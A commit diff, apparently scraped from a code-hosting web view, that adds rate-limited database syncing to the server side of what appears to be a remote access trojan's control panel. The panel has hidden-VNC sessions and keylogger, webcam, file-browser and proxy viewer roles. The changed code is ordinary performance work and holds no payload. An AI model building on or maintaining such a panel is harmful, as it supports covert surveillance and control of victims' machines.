return Boolean(ids && ids.size > 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function getAllHvncSessions(): Map<string, RemoteDesktopViewer> {
|
export function getAllHvncSessions(): Map<string, RemoteDesktopViewer> {
|
||||||
|
|||||||
@@ -12,6 +12,21 @@ import { upsertClientRow } from "./db";
|
|||||||
import { metrics } from "./metrics";
|
import { metrics } from "./metrics";
|
||||||
|
|
||||||
const MAX_PING_RTT_MS = 15_000;
|
const MAX_PING_RTT_MS = 15_000;
|
||||||
|
const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000);
|
||||||
|
const lastClientDbSync = new Map<string, number>();
|
||||||
|
|
||||||
|
function shouldSyncClientToDb(clientId: string, now: number): boolean {
|
||||||
|
const last = lastClientDbSync.get(clientId) || 0;
|
||||||
|
if (now - last < CLIENT_DB_SYNC_INTERVAL_MS) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
lastClientDbSync.set(clientId, now);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function clearClientSyncState(clientId: string): void {
|
||||||
|
lastClientDbSync.delete(clientId);
|
||||||
|
}
|
||||||
|
|
||||||
export function handleHello(
|
export function handleHello(
|
||||||
info: ClientInfo,
|
info: ClientInfo,
|
||||||
@@ -62,13 +77,16 @@ export function handleHello(
|
|||||||
|
|
||||||
export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) {
|
export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) {
|
||||||
//console.log(`[ping] from client=${info.id} ts=${payload.ts ?? ""}`);
|
//console.log(`[ping] from client=${info.id} ts=${payload.ts ?? ""}`);
|
||||||
info.lastSeen = Date.now();
|
const now = Date.now();
|
||||||
|
info.lastSeen = now;
|
||||||
info.online = true;
|
info.online = true;
|
||||||
upsertClientRow({
|
if (shouldSyncClientToDb(info.id, now)) {
|
||||||
id: info.id,
|
upsertClientRow({
|
||||||
lastSeen: info.lastSeen,
|
id: info.id,
|
||||||
online: 1,
|
lastSeen: info.lastSeen,
|
||||||
});
|
online: 1,
|
||||||
|
});
|
||||||
|
}
|
||||||
ws.send(encodeMessage({ type: "pong", ts: payload.ts || Date.now() }));
|
ws.send(encodeMessage({ type: "pong", ts: payload.ts || Date.now() }));
|
||||||
sendPingRequest(info, ws, "client_ping");
|
sendPingRequest(info, ws, "client_ping");
|
||||||
}
|
}
|
||||||
@@ -112,15 +130,18 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
|
|||||||
const rtt = now - info.lastPingSent;
|
const rtt = now - info.lastPingSent;
|
||||||
|
|
||||||
if (rtt >= 0 && rtt < maxRttMs) {
|
if (rtt >= 0 && rtt < maxRttMs) {
|
||||||
info.lastSeen = Date.now();
|
const nowTs = Date.now();
|
||||||
|
info.lastSeen = nowTs;
|
||||||
info.online = true;
|
info.online = true;
|
||||||
info.pingMs = rtt;
|
info.pingMs = rtt;
|
||||||
upsertClientRow({
|
if (shouldSyncClientToDb(info.id, nowTs)) {
|
||||||
id: info.id,
|
upsertClientRow({
|
||||||
pingMs: info.pingMs,
|
id: info.id,
|
||||||
lastSeen: info.lastSeen,
|
pingMs: info.pingMs,
|
||||||
online: 1,
|
lastSeen: info.lastSeen,
|
||||||
});
|
online: 1,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
metrics.recordPing(rtt);
|
metrics.recordPing(rtt);
|
||||||
info.lastPingNonce = undefined;
|
info.lastPingNonce = undefined;
|
||||||
@@ -163,10 +184,15 @@ export function handleFrame(info: ClientInfo, payload: any) {
|
|||||||
} catch {}
|
} catch {}
|
||||||
|
|
||||||
if (safeFormat) {
|
if (safeFormat) {
|
||||||
|
const now = Date.now();
|
||||||
setLatestFrame(info.id, bytes, safeFormat);
|
setLatestFrame(info.id, bytes, safeFormat);
|
||||||
if (consumeThumbnailRequest(info.id) || !getThumbnail(info.id)) {
|
if (consumeThumbnailRequest(info.id) || !getThumbnail(info.id)) {
|
||||||
generateThumbnail(info.id);
|
generateThumbnail(info.id);
|
||||||
}
|
}
|
||||||
upsertClientRow({ id: info.id, lastSeen: Date.now(), online: 1 });
|
info.lastSeen = now;
|
||||||
|
info.online = true;
|
||||||
|
if (shouldSyncClientToDb(info.id, now)) {
|
||||||
|
upsertClientRow({ id: info.id, lastSeen: now, online: 1 });
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,7 @@
|
|||||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
||||||
|
|
||||||
|
const textEncoder = new TextEncoder();
|
||||||
|
|
||||||
export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||||
"hello",
|
"hello",
|
||||||
"ping",
|
"ping",
|
||||||
@@ -35,7 +37,7 @@ export function getMessageByteLength(
|
|||||||
message: string | ArrayBuffer | Uint8Array,
|
message: string | ArrayBuffer | Uint8Array,
|
||||||
): number {
|
): number {
|
||||||
if (typeof message === "string") {
|
if (typeof message === "string") {
|
||||||
return new TextEncoder().encode(message).length;
|
return textEncoder.encode(message).length;
|
||||||
}
|
}
|
||||||
if (message instanceof ArrayBuffer) {
|
if (message instanceof ArrayBuffer) {
|
||||||
return message.byteLength;
|
return message.byteLength;
|
||||||
|
|||||||
Reference in New Issue
Block a user